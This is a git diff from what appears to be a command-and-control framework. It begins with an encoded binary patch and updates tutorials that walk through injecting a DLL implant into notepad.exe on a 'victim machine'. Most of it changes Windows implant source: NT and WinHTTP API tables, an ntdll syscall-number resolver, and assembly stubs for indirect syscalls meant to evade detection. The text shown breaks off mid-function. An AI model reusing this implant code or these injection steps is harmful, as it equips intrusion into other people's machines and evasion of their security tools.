zHXi16w#oC$%|JANpMZ^HzKN2UIOu9(rDOk`>&mjpQR=tI8SUlYydl0DLa59nwC!hu zd_Rb~^pP0^%zcBJz}yXE-^rBuknpBcU&e37J0HTBO!n>!k^J(6Wev*Z_&CP*8WJqb zg+dJ||CEZzhz=uhfI6_#(!{t(Lw6Us~rfEK*_O0OX^0f(FsEj zXNh8EiIu$6g&*3VMsRZIxdroZ`9hnnh<)&m8Z~s$+>HMho`oGo_#e-1MGBkv%MrKJ z^9J6O39xQ)*=u*LdPkFc>ek|oRL&ehy7A^chs`j(wdG z!Dl)Xy5Ei%n=L`hJi?N&g|&W^2QavwhRDf`K;@ShSF-i{nIa;jN_WUGb$rwcLj;!S z`Q0cgYNogTltU51JFdN-1$V4wHx;2%^S9Gph`dC?x8Q~vx^uX6*$7od9sN$XqM2hC zUyGW5>8W*`$ha+kCg9_)2(LtZUJjuT^)01ygYi)lJER8pZ-Ji)Qr)_PBTJuM+>U!G z%>?RczVI>iF^?|~n>#7jIk3u>^Spgs^Yin!dOurwnkdI&RWOR2iN?5>pGd0UY?|MX z!HJF*>BcTiYQ&LqMG@mO$O75K!4OP8z;_txfibTvP)+q;o_Gu&(O=!$R6iYmp8RUC zI*MXO3_m01$iZ;4q9on`K^M6OGcra1e+Z^=Qe@2@ep6!-mg;_D@nEL6$b9VDj}Qzg z-I32kHC`O9DDLUgmyB#RiMbv7b@Gf6+48z^n@}lxIZkWj9SCD;?Bv*8ABed;?Eia( zOAkQwo_BeEFi!X(#0zSu0prP(VkY;u-jl+q<{k6(fTB{oOn$<=D*3u> z8{7qs_6k{5Ewr$GSfnm!qU9C%VW<_|eAh2<)Edu~#LCeV;Ws}&#pm&>BFlCs-Qqvs z7Kh|Df2&C2qZ<(?3?Wrj*d{0zj2XzPVwbw`3?TR(GEEqJV)?e)1rpz`l6FiT%8+x; zXM|XwfVM?+^Rg`bnlk@zcwdEnbn2)OhDAk6lVWtT!gu zsjyQ7*j?CX7MT^L>~?!#wWE+x=!vW4cbwbny{2}ySlr#DI^Gp8eA1qV5xzN4f~EjH zKu$a|0eCOHOa7Y;W%Rq@ftv5Z-qnM}4`B%5A% ztRwVS3Ov9T73r_-IcdrqNx!VGDO!KLY-%$gNPng8EK~iGn>CxR$c{;36|sW5EKNQf zN1Kx}uI93Ao*+^HEEiP`;Tg}k`H%Dx4-($Ht2hjN`Dz>@v`gj`_k)C~$p$4}PSOfm z>QMgs3&xaX#HmbU)H#R+vwd37O*Xz76u*StOYyXx<7C=ZY-Cgp3#MLd3s-t&*w%|d zl4y@IkssY6*Z;bL7)o~(RQo+AnAd=zNP@Bk8cIUXZ*UDEh*WG`QebLl)BDt|ZWTpl znS8X42ujQ<1D-LemFnzF1I11;q*dwb0&&560S{z$5#m>U@ou%9gaH;H#Cr_mBbPCg?T$36hHS1<^i56cwM8l2 zwlb!Q=E>BnAngSP01j08`DI)nOLD{UFw#Db-lwZNRw)V5gTW`32A?Y@=V&fDduYm- zd-mK1V?$+twy&0Q+Qm4AQ}w>C z>fjpb6Hn2;;?dTgrv~H?lx`UuvEo)Ev-fu2AMV&@emQN49|T|>j74xeI)hn*PQRj)=EfvX9ov-Bix zVq0vYciYI)!&{LGOIr$+qy>~9|Ka-l2e(UCK6+E&U-}yn%fAKo$PY(`Z%s;3U92Mr z%$O3b1s~0I!Il@bcY(;8+cptLV#S^yK!a}SB?nyyc+zl$$Z|*KZpcL$1WgQU-{|>U ze3EUQy8gMeZyq%^r-1TCrf2S)8k7A6jWefs79WZ?Tq;${4)Od;kO`vo-+Q1h{%RXv zdG^hG_1i%8MP`}~9XkaIA)0A`iF?7BeCXoNyl%;`pn({&`0DiykaBO`RLX!tvK%zg z@T-O_G$m_2LkYd?Q=Oj*-F&!dBivC7d8&14?`R@SGV-MAqTxmbaT_{&92w&o5`$vm$>hqnvo5i;i=bDoatYeJl8DZl~XkryRG zYs2Fqbx3%~>L&2+3p|fl1@~`fk623-wu>Qa8brP1$T$II^~qEL4hHQdsC`~x4!6F| zEG?FJc43s&%*Bt0jAWf2^%X{~%aCe;RP_9!j};c?*jn+M6RIw^;+Ton)|AQ(IhiBc zF(e+#u$ybR-EkqPJ!19hvt8XDzVdsoqG6+~7PVMi&Qr{bfYzWq+^q@{xRd59toSk# zwdn|-@6U%Br4~sC#Hr*Sa$O999$C}wTMaYmyfKr;0xH!3s4P8&38j^$>FQ5F`m;3A zfg)EdW0m4hl820MkT(9h!^d7r2*pfMi)k9kFH~T#l1A=pQurTand|!Q?m7`?MjpD! zL3urwTv`kL+#4fYD6c4w=jsS>H%k~6JmJVJRN4)HI-ausq|5Xs)ZR#BZ1lTvxSbs( zCc=umMDgHL@z4TJTwkBReQw$}-Ar)1sNMxiN^jgKYkI`8pup!AdpR}FifNaHw~Xr! zm?2?2TC&y&wVqK!{4;98ebx<~hQ8TG6es#INbHXjZ1LsUcNC;vFrycUT@Hs8`F$>p zzv(ZEqz1@7Kj&Pk5*RZ&moK( z1!`GP0pyeCElT4c%I}H~d<#opKtBhvR|r^TrY!Ka9*tez0e-~s3ngRPqK+;kXn$nwwxbOAKMuv^F91DSE_8* zaMS-?AdJ+MSG#2LYylJavH-Er?8n`3GVQqR)%yV4vxndZn@X{ z3S{?o@Mj(QD`uTkplDeb_UWg4vjO6_gGDp&qwV`rS;sx9QN&Y2Ma*Y}7;}?KGhu^* zjO?XfDrMb3_Xhr0KL5(LGY-?Xe5yEwg1r2#n}W^#?)(vBraUaO_ku%Ox2==c zU%gq~?xVQ$;dj8s5MX1$Tkg@ZN8hJb0f#O#`S0cD|BZpr=H-rirAmr>H;A~NZTcP! zKFxQJ3&+cQxYAj}_<1t^HmM4F#!Qhk^#x2+(3i<7%-!^|17e-$N5G~Q{BME#*YX?u zZGZd25R-l`@4Vzz4t>ByVm}pbZIlJJ08A$O*%ww`-&!XpJhc3`towdjhh&S@ueld4 T)~zr%-!wP9akb{kt^5B6c(ZvS diff --git a/docs/tutorials/simple-dll-injection.md b/docs/tutorials/simple-dll-injection.md index 1d5db0e..1ca8f06 100644 --- a/docs/tutorials/simple-dll-injection.md +++ b/docs/tutorials/simple-dll-injection.md @@ -1,6 +1,6 @@ # Simple DLL Injection -In this tutorial, we generate a stager that loads our DLL implant into another process on Windows victim machine. Then make the C2 agent to communicate with our C2 server. +In this tutorial, we generate **DLL Implant** and **Loader** which loads the DLL into memory on Windows victim machine. Then make the C2 agent to communicate with our C2 server. Assume that you've completed [the Simple Implant Beacon tutorial](./simple-implant-beacon.md). @@ -48,16 +48,16 @@ We can freely delete arbitrary payload by selecting a payload on this menu (of c This payload is stored under `$HOME/.hermit/server/listeners/listener-/payloads/`. The DLL loader that we will create later will find this DLL file in this directory and load it automatically, so don't move this payload. -## 4. Generate DLL Loader (Stager) +## 4. Generate DLL Loader -Next, generate a stager that loads our DLL implant and inject it on specific process. +Next, generate a DLL loader that loads the DLL implant and inject it on specific process. Run `payload gen` command again: -![payload gen](../assets/images/terminal/payload_gen_stager_dll_loader_win_amd64_exe.png) +![payload gen](../assets/images/terminal/payload_gen_loader_dll_win_amd64_exe.png) In the option wizard, choose the following options at least: -- What to generate? -> `stager/dll-loader` +- What to generate? -> `loader/dll` - OS/Arch/Format -> `windows/amd64/exe` - Listener URL -> (Same URL as when generating the DLL) - Technique -> `dll-injection` @@ -65,26 +65,26 @@ In the option wizard, choose the following options at least: This stager is also generated under `$HOME/.hermit/server/listeners/listener-/payloads/`. -### Transfer Stager +### Transfer the Loader -**Now we need to transfer the generetad stager to Windows victim machine.** +**Now we need to transfer the generetad loader to Windows victim machine.** -## 5. Execute Stager +## 5. Execute Loader -In Windows victime machine, at first, start `notepad.exe` as target process to inject DLL: +In Windows victime machine, at first, start `notepad.exe` as target process to inject our DLL into: ```ps title="Windows Victim Machine" PS C:\Users\victim\Desktop> notepad ``` That's because we've specified `notepad.exe` (by default) as target process in the previous **Generate DLL Loader** section. -By doing so, our stager can inject the DLL into the `notepad` process. +By doing so, our loader can inject the DLL into the `notepad` process. -Finally we can execute the stager as below: +Finally we can execute the loader as below: ```ps title="Windows Victim Machine" # Replace the filename with our own. -PS C:\Users\victim\Desktop> .\stager.exe +PS C:\Users\victim\Desktop> .\loader.exe ``` ## 6. Switch to Agent Mode @@ -107,9 +107,10 @@ Hermit [agent-abcd] > ps ls This task prints all running processes on victim machine. -After a few seconds, run the `loot show` command to see the result: +After a few seconds, run the `task results` or `loot show` command to see the result: ```sh title="Hermit C2 Server Console [Agent Mode]" +Hermit [agent-abcd] > task results Hermit [agent-abcd] > loot show ``` @@ -119,7 +120,7 @@ Looking at the task result, we can see that our DLL implant is running on the `N ![loot ps](../assets/images/terminal/loot_show_ps.png) -That's because the stager injected the DLL implant into the `notepad.exe` process. +That's because the loader injected the DLL into the `notepad.exe` process. ## 8. Stop Implant & Quit Agent Mode diff --git a/docs/tutorials/simple-implant-beacon.md b/docs/tutorials/simple-implant-beacon.md index 677ffec..efc357e 100644 --- a/docs/tutorials/simple-implant-beacon.md +++ b/docs/tutorials/simple-implant-beacon.md @@ -125,9 +125,11 @@ This task retrieves the username on the victim machine. To see the tasks waiting for results, run the `tasks` command. -After few seconds, if the task is successful, we can see the task results with the `loot show` command: +After a few seconds, if the task is successful, we can see the task results with the `task result` or `loot show` command: ```sh title="Hermit C2 Server Console [Agent Mode]" +Hermit [agent-abcd] > task results +# or Hermit [agent-abcd] > loot show ``` diff --git a/payload/win/implant/include/core/procs.hpp b/payload/win/implant/include/core/procs.hpp index 0403b94..473d6cd 100644 --- a/payload/win/implant/include/core/procs.hpp +++ b/payload/win/implant/include/core/procs.hpp @@ -52,7 +52,6 @@ namespace Procs // NtSetInformationFile typedef NTSTATUS (NTAPI* LPPROC_NTSETINFORMATIONFILE)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass); - // **NATIVE APIs (RUNTIME LIBRARY)** // RtlAllocateHeap typedef PVOID (NTAPI* LPPROC_RTLALLOCATEHEAP)(PVOID HeapHandle, ULONG Flags, SIZE_T Size); @@ -70,8 +69,6 @@ namespace Procs typedef NTSTATUS (NTAPI* LPPROC_RTLQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); // RtlExpandEnvironmentStrings typedef NTSTATUS (NTAPI* LPPROC_RTLEXPANDENVIRONMENTSTRINGS)(PVOID Environment, PCWSTR Source, SIZE_T SourceLength, PWSTR Destination, SIZE_T DestinationLength, PSIZE_T ReturnLength); - // RtlNtStatusToDosError - typedef DWORD (NTAPI* LPPROC_RTLNTSTATUSTODOSERROR)(NTSTATUS Status); // **WINAPIs** // WinHttpOpen @@ -100,48 +97,75 @@ namespace Procs struct PROCS { // **NATIVE APIs** - LPPROC_NTCREATEPROCESS lpNtCreateProcess = nullptr; - LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr; - LPPROC_NTTERMINATEPROCESS lpNtTerminateProcess = nullptr; - LPPROC_NTSETINFORMATIONPROCESS lpNtSetInformationProcess = nullptr; - LPPROC_NTCREATETHREADEX lpNtCreateThreadEx = nullptr; - LPPROC_NTRESUMETHREAD lpNtResumeThread = nullptr; - LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory = nullptr; - LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory = nullptr; - LPPROC_NTFREEVIRTUALMEMORY lpNtFreeVirtualMemory = nullptr; - LPPROC_NTDUPLICATEOBJECT lpNtDuplicateObject = nullptr; - LPPROC_NTWAITFORSINGLEOBJECT lpNtWaitForSingleObject = nullptr; - LPPROC_NTCLOSE lpNtClose = nullptr; - LPPROC_NTCREATEFILE lpNtCreateFile = nullptr; - LPPROC_NTREADFILE lpNtReadFile = nullptr; - LPPROC_NTWRITEFILE lpNtWriteFile = nullptr; - LPPROC_NTCREATENAMEDPIPEFILE lpNtCreateNamedPipeFile = nullptr; - LPPROC_NTQUERYINFORMATIONFILE lpNtQueryInformationFile = nullptr; - LPPROC_NTSETINFORMATIONFILE lpNtSetInformationFile = nullptr; + LPPROC_NTCREATEPROCESS lpNtCreateProcess = nullptr; + LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr; + LPPROC_NTTERMINATEPROCESS lpNtTerminateProcess = nullptr; + LPPROC_NTSETINFORMATIONPROCESS lpNtSetInformationProcess = nullptr; + LPPROC_NTCREATETHREADEX lpNtCreateThreadEx = nullptr; + LPPROC_NTRESUMETHREAD lpNtResumeThread = nullptr; + LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory = nullptr; + LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory = nullptr; + LPPROC_NTFREEVIRTUALMEMORY lpNtFreeVirtualMemory = nullptr; + LPPROC_NTDUPLICATEOBJECT lpNtDuplicateObject = nullptr; + LPPROC_NTWAITFORSINGLEOBJECT lpNtWaitForSingleObject = nullptr; + LPPROC_NTCLOSE lpNtClose = nullptr; + LPPROC_NTCREATEFILE lpNtCreateFile = nullptr; + LPPROC_NTREADFILE lpNtReadFile = nullptr; + LPPROC_NTWRITEFILE lpNtWriteFile = nullptr; + LPPROC_NTCREATENAMEDPIPEFILE lpNtCreateNamedPipeFile = nullptr; + LPPROC_NTQUERYINFORMATIONFILE lpNtQueryInformationFile = nullptr; + LPPROC_NTSETINFORMATIONFILE lpNtSetInformationFile = nullptr; // **RUNTIME LIBRARY APIs** - LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap = nullptr; - LPPROC_RTLZEROMEMORY lpRtlZeroMemory = nullptr; - LPPROC_RTLINITUNICODESTRING lpRtlInitUnicodeString = nullptr; - LPPROC_RTLSTRINGCCHCATW lpRtlStringCchCatW = nullptr; - LPPROC_RTLSTRINGCCHCOPYW lpRtlStringCchCopyW = nullptr; - LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr; - LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr; - LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr; - LPPROC_RTLNTSTATUSTODOSERROR lpRtlNtStatusToDosError = nullptr; + LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap = nullptr; + LPPROC_RTLZEROMEMORY lpRtlZeroMemory = nullptr; + LPPROC_RTLINITUNICODESTRING lpRtlInitUnicodeString = nullptr; + LPPROC_RTLSTRINGCCHCATW lpRtlStringCchCatW = nullptr; + LPPROC_RTLSTRINGCCHCOPYW lpRtlStringCchCopyW = nullptr; + LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr; + LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr; + LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr; // **WINAPIs** - LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr; - LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr; - LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr; - LPPROC_WINHTTPSETOPTION lpWinHttpSetOption = nullptr; - LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest = nullptr; - LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData = nullptr; - LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse = nullptr; - LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders = nullptr; - LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable = nullptr; - LPPROC_WINHTTPREADDATA lpWinHttpReadData = nullptr; - LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle = nullptr; + LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr; + LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr; + LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr; + LPPROC_WINHTTPSETOPTION lpWinHttpSetOption = nullptr; + LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest = nullptr; + LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData = nullptr; + LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse = nullptr; + LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders = nullptr; + LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable = nullptr; + LPPROC_WINHTTPREADDATA lpWinHttpReadData = nullptr; + LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle = nullptr; + + // **SYSCALLS** + Syscalls::SYSCALL sysNtCreateProcess = {0}; + Syscalls::SYSCALL sysNtOpenProcess = {0}; + Syscalls::SYSCALL sysNtTerminateProcess = {0}; + Syscalls::SYSCALL sysNtSetInformationProcess = {0}; + Syscalls::SYSCALL sysNtCreateThreadEx = {0}; + Syscalls::SYSCALL sysNtResumeThread = {0}; + Syscalls::SYSCALL sysNtAllocateVirtualMemory = {0}; + Syscalls::SYSCALL sysNtWriteVirtualMemory = {0}; + Syscalls::SYSCALL sysNtFreeVirtualMemory = {0}; + Syscalls::SYSCALL sysNtDuplicateObject = {0}; + Syscalls::SYSCALL sysNtWaitForSingleObject = {0}; + Syscalls::SYSCALL sysNtClose = {0}; + Syscalls::SYSCALL sysNtCreateFile = {0}; + Syscalls::SYSCALL sysNtReadFile = {0}; + Syscalls::SYSCALL sysNtWriteFile = {0}; + Syscalls::SYSCALL sysNtCreateNamedPipeFile = {0}; + Syscalls::SYSCALL sysNtQueryInformationFile = {0}; + Syscalls::SYSCALL sysNtSetInformationFile = {0}; + Syscalls::SYSCALL sysRtlAllocateHeap = {0}; + Syscalls::SYSCALL sysRtlZeroMemory = {0}; + Syscalls::SYSCALL sysRtlInitUnicodeString = {0}; + Syscalls::SYSCALL sysRtlStringCchCatW = {0}; + Syscalls::SYSCALL sysRtlStringCchCopyW = {0}; + Syscalls::SYSCALL sysRtlStringCchLengthW = {0}; + Syscalls::SYSCALL sysRtlQuerySystemInformation = {0}; + Syscalls::SYSCALL sysRtlExpandEnvironmentStrings = {0}; }; typedef PROCS* PPROCS; diff --git a/payload/win/implant/include/core/syscalls.hpp b/payload/win/implant/include/core/syscalls.hpp index db4337e..bc60b39 100644 --- a/payload/win/implant/include/core/syscalls.hpp +++ b/payload/win/implant/include/core/syscalls.hpp @@ -4,90 +4,34 @@ #ifndef HERMIT_CORE_SYSCALLS_HPP #define HERMIT_CORE_SYSCALLS_HPP +#include "core/utils.hpp" + #include #include -// #ifndef InitializeObjectAttributes -// #define InitializeObjectAttributes( p, n, a, r, s ) { \ -// (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ -// (p)->RootDirectory = r; \ -// (p)->Attributes = a; \ -// (p)->ObjectName = n; \ -// (p)->SecurityDescriptor = s; \ -// (p)->SecurityQualityOfService = NULL; \ -// } -// #endif +extern "C" DWORD SysSample(void*); +extern "C" VOID SysSet(void*); +extern "C" NTSTATUS SysInvoke(...); -typedef struct _PS_ATTRIBUTE -{ - ULONG Attribute; - SIZE_T Size; - union - { - ULONG Value; - PVOID ValuePtr; - } u1; - PSIZE_T ReturnLength; -} PS_ATTRIBUTE, * PPS_ATTRIBUTE; +extern "C" DWORD SysNumber; -typedef struct _PS_ATTRIBUTE_LIST +template +NTSTATUS CallSysInvoke(FirstArg pSyscall, SecondArg lpProc, Args... args) { - SIZE_T TotalLength; - PS_ATTRIBUTE Attributes[1]; -} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; - -// extern "C" -// { - - // Syscall Functions - // NTSTATUS NtOpenProcess( - // OUT PHANDLE ProcessHandle, - // IN ACCESS_MASK DesiredAccess, - // IN POBJECT_ATTRIBUTES ObjectAttributes, - // IN PCLIENT_ID ClientId OPTIONAL - // ); - - // NTSTATUS NtAllocateVirtualMemory( - // IN HANDLE ProcessHandle, - // IN OUT PVOID* BaseAddress, - // IN ULONG ZeroBits, - // IN OUT PSIZE_T RegionSize, - // IN ULONG AllocationType, - // IN ULONG Protect - // ); - - // NTSTATUS NtWriteVirtualMemory( - // IN HANDLE ProcessHandle, - // IN PVOID BaseAddress, - // IN PVOID Buffer, - // IN SIZE_T NumberOfBytesToWrite, - // OUT PSIZE_T NumberOfBytesWritten OPTIONAL - // ); + NTSTATUS status; - // NTSTATUS NtCreateThreadEx( - // OUT PHANDLE ThreadHandle, - // IN ACCESS_MASK DesiredAccess, - // IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, - // IN HANDLE ProcessHandle, - // IN PVOID StartRoutine, - // IN PVOID Argument OPTIONAL, - // IN ULONG CreateFlags, - // IN SIZE_T ZeroBits, - // IN SIZE_T StackSize, - // IN SIZE_T MaximumStackSize, - // IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL - // ); - - // NTSTATUS NtWaitForSingleObject( - // IN HANDLE Handle, - // IN BOOLEAN Alertable, - // IN PLARGE_INTEGER Timeout - // ); + if (pSyscall->dwSSN == 0) + { + status = lpProc(args...); + } + else + { + SysSet(pSyscall); + status = SysInvoke(args...); + } - // NTSTATUS NtClose( - // IN HANDLE Handle - // ); -// } + return status; +} namespace Syscalls { @@ -98,19 +42,7 @@ namespace Syscalls }; typedef SYSCALL* PSYSCALL; - struct SYSCALLS - { - SYSCALL sysNtOpenProcess; - SYSCALL sysNtAllocateVirtualMemory; - SYSCALL sysNtWriteVirtualMemory; - SYSCALL sysNtCreateThreadEx; - SYSCALL sysNtWaitForSingleObject; - SYSCALL sysNtClose; - }; - typedef SYSCALLS* PSYSCALLS; - - SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc); - PSYSCALLS FindSyscalls(HMODULE hNTDLL); + SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc); } #endif // HERMIT_CORE_SYSCALLS_HPP \ No newline at end of file diff --git a/payload/win/implant/src/asm/syscalls.x64.asm b/payload/win/implant/src/asm/syscalls.x64.asm index 4d40122..068c405 100644 --- a/payload/win/implant/src/asm/syscalls.x64.asm +++ b/payload/win/implant/src/asm/syscalls.x64.asm @@ -1,61 +1,23 @@ -section .data - extern NtOpenProcessSSN - extern NtOpenProcessAddr +; Inspired: +; https://github.com/HavocFramework/Havoc/blob/ea3646e055eb1612dcc956130fd632029dbf0b86/payloads/Demon/src/asm/Syscall.x64.asm#L1 section .text - - ; global SysSet - ; global SysInvoke - - ; global SysNtOpenProcess - ; global SysNtAllocateVirtualMemory - ; global SysNtWriteVirtualMemory - ; global SysNtCreateThreadEx - ; global SysNtWaitForSingleObject - ; global SysNtClose - - ; SysSet: - ; mov r11, rcx - ; ret - - ; SysInvoke: - ; mov r10, rcx - ; mov eax, [r11 + 0x8] - ; jmp qword [r11] - ; ret - - ; SysNtOpenProcess: - mov r10, rcx - mov eax, NtOpenProcessSSN - jmp qword [NtOpenProcessAddr] - ret - - ; SysNtAllocateVirtualMemory: - ; mov r10, rcx - ; mov eax, NtAllocateVirtualMemorySSN - ; jmp qword [NtAllocateVirtualMemorySyscall] - ; ret - - ; SysNtWriteVirtualMemory: - ; mov r10, rcx - ; mov eax, NtWriteVirtualMemorySSN - ; jmp qword [NtWriteVirtualMemorySyscall] - ; ret - - ; SysNtCreateThreadEx: - ; mov r10, rcx - ; mov eax, NtCreateThreadExSSN - ; jmp qword [NtCreateThreadExSyscall] - ; ret - - ; SysNtWaitForSingleObject: - ; mov r10, rcx - ; mov eax, NtWaitForSingleObjectSSN - ; jmp qword [NtWaitForSingleObjectSyscall] - ; ret - - ; SysNtClose: - ; mov r10, rcx - ; mov eax, NtCloseSSN - ; jmp qword [NtCloseSyscall] - ; ret + global SysSample + global SysSet + global SysInvoke + +SysSample: + mov rax, rcx + mov eax, [rax] + add eax, [rax + 0x8] + ret + +SysSet: + mov r11, rcx + ret + +SysInvoke: + mov r10, rcx + mov eax, [r11 + 0x8] + jmp qword [r11] + ret diff --git a/payload/win/implant/src/core/procs.cpp b/payload/win/implant/src/core/procs.cpp index 8ebbb87..12416e4 100644 --- a/payload/win/implant/src/core/procs.cpp +++ b/payload/win/implant/src/core/procs.cpp @@ -5,8 +5,9 @@ namespace Procs PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls) { PPROCS pProcs = new PROCS; - + // NT APIs + pProcs->lpNtCreateProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateProcess")); pProcs->lpNtOpenProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtOpenProcess")); pProcs->lpNtTerminateProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtTerminateProcess")); pProcs->lpNtCreateThreadEx = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateThreadEx")); @@ -31,7 +32,6 @@ namespace Procs pProcs->lpRtlStringCchCatW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchCatW")); pProcs->lpRtlStringCchCopyW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchCopyW")); pProcs->lpRtlStringCchLengthW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchLengthW")); - pProcs->lpRtlNtStatusToDosError = reinterpret_cast(GetProcAddress(hNTDLL, "RtlNtStatusToDosError")); // WINAPIs pProcs->lpWinHttpOpen = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpen")); @@ -46,6 +46,33 @@ namespace Procs pProcs->lpWinHttpReadData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReadData")); pProcs->lpWinHttpCloseHandle = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpCloseHandle")); + if (bIndirectSyscalls) + { + pProcs->sysNtCreateProcess = Syscalls::FindSyscall(hNTDLL, "NtCreateProcess"); + pProcs->sysNtOpenProcess = Syscalls::FindSyscall(hNTDLL, "NtOpenProcess"); + pProcs->sysNtTerminateProcess = Syscalls::FindSyscall(hNTDLL, "NtTerminateProcess"); + pProcs->sysNtCreateThreadEx = Syscalls::FindSyscall(hNTDLL, "NtCreateThreadEx"); + pProcs->sysNtResumeThread = Syscalls::FindSyscall(hNTDLL, "NtResumeThread"); + pProcs->sysNtAllocateVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtAllocateVirtualMemory"); + pProcs->sysNtWriteVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtWriteVirtualMemory"); + pProcs->sysNtFreeVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtFreeVirtualMemory"); + pProcs->sysNtDuplicateObject = Syscalls::FindSyscall(hNTDLL, "NtDuplicateObject"); + pProcs->sysNtWaitForSingleObject = Syscalls::FindSyscall(hNTDLL, "NtWaitForSingleObject"); + pProcs->sysNtClose = Syscalls::FindSyscall(hNTDLL, "NtClose"); + pProcs->sysNtCreateFile = Syscalls::FindSyscall(hNTDLL, "NtCreateFile"); + pProcs->sysNtReadFile = Syscalls::FindSyscall(hNTDLL, "NtReadFile"); + pProcs->sysNtWriteFile = Syscalls::FindSyscall(hNTDLL, "NtWriteFile"); + pProcs->sysNtCreateNamedPipeFile = Syscalls::FindSyscall(hNTDLL, "NtCreateNamedPipeFile"); + pProcs->sysNtSetInformationFile = Syscalls::FindSyscall(hNTDLL, "NtSetInformationFile"); + pProcs->sysNtQueryInformationFile = Syscalls::FindSyscall(hNTDLL, "NtQueryInformationFile"); + pProcs->sysRtlAllocateHeap = Syscalls::FindSyscall(hNTDLL, "RtlAllocateHeap"); + pProcs->sysRtlZeroMemory = Syscalls::FindSyscall(hNTDLL, "RtlZeroMemory"); + pProcs->sysRtlInitUnicodeString = Syscalls::FindSyscall(hNTDLL, "RtlInitUnicodeString"); + pProcs->sysRtlStringCchCatW = Syscalls::FindSyscall(hNTDLL, "RtlStringCchCatW"); + pProcs->sysRtlStringCchCopyW = Syscalls::FindSyscall(hNTDLL, "RtlStringCchCopyW"); + pProcs->sysRtlStringCchLengthW = Syscalls::FindSyscall(hNTDLL, "RtlStringCchLengthW"); + } + return pProcs; } } diff --git a/payload/win/implant/src/core/syscalls.cpp b/payload/win/implant/src/core/syscalls.cpp index be37309..e9fadb9 100644 --- a/payload/win/implant/src/core/syscalls.cpp +++ b/payload/win/implant/src/core/syscalls.cpp @@ -6,7 +6,7 @@ namespace Syscalls // Reference: https://www.crow.rip/crows-nest/mal/dev/inject/syscalls/indirect-syscalls SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc) { - SYSCALL syscall = {0}; + SYSCALL syscall; UINT_PTR pNtFuncAddr = (UINT_PTR)nullptr; BYTE syscallOpcode[2] = {0x0F, 0x05}; @@ -17,31 +17,14 @@ namespace Syscalls return syscall; } - // *dwSysSSN = ((PBYTE)(pNtFuncAddr + 4))[0]; - // *pSysAddr = pNtFuncAddr + 0x12; - syscall.dwSSN = ((PBYTE)(pNtFuncAddr + 4))[0]; syscall.pAddr = pNtFuncAddr + 0x12; - if (memcpy(syscallOpcode, (const void*)syscall.pAddr, sizeof(syscallOpcode)) != 0) + if (memcmp(syscallOpcode, (const void*)syscall.pAddr, sizeof(syscallOpcode)) != 0) { - return syscall; + return {0}; } return syscall; } - - // Get syscall numbers and addresses. - PSYSCALLS FindSyscalls(HMODULE hNTDLL) { - PSYSCALLS pSyscalls = new SYSCALLS; - - pSyscalls->sysNtOpenProcess = FindSyscall(hNTDLL, "NtOpenProcess"); - pSyscalls->sysNtAllocateVirtualMemory = FindSyscall(hNTDLL, "NtAllocateVirtualMemory"); - pSyscalls->sysNtWriteVirtualMemory = FindSyscall(hNTDLL, "NtWriteVirtualMemory"); 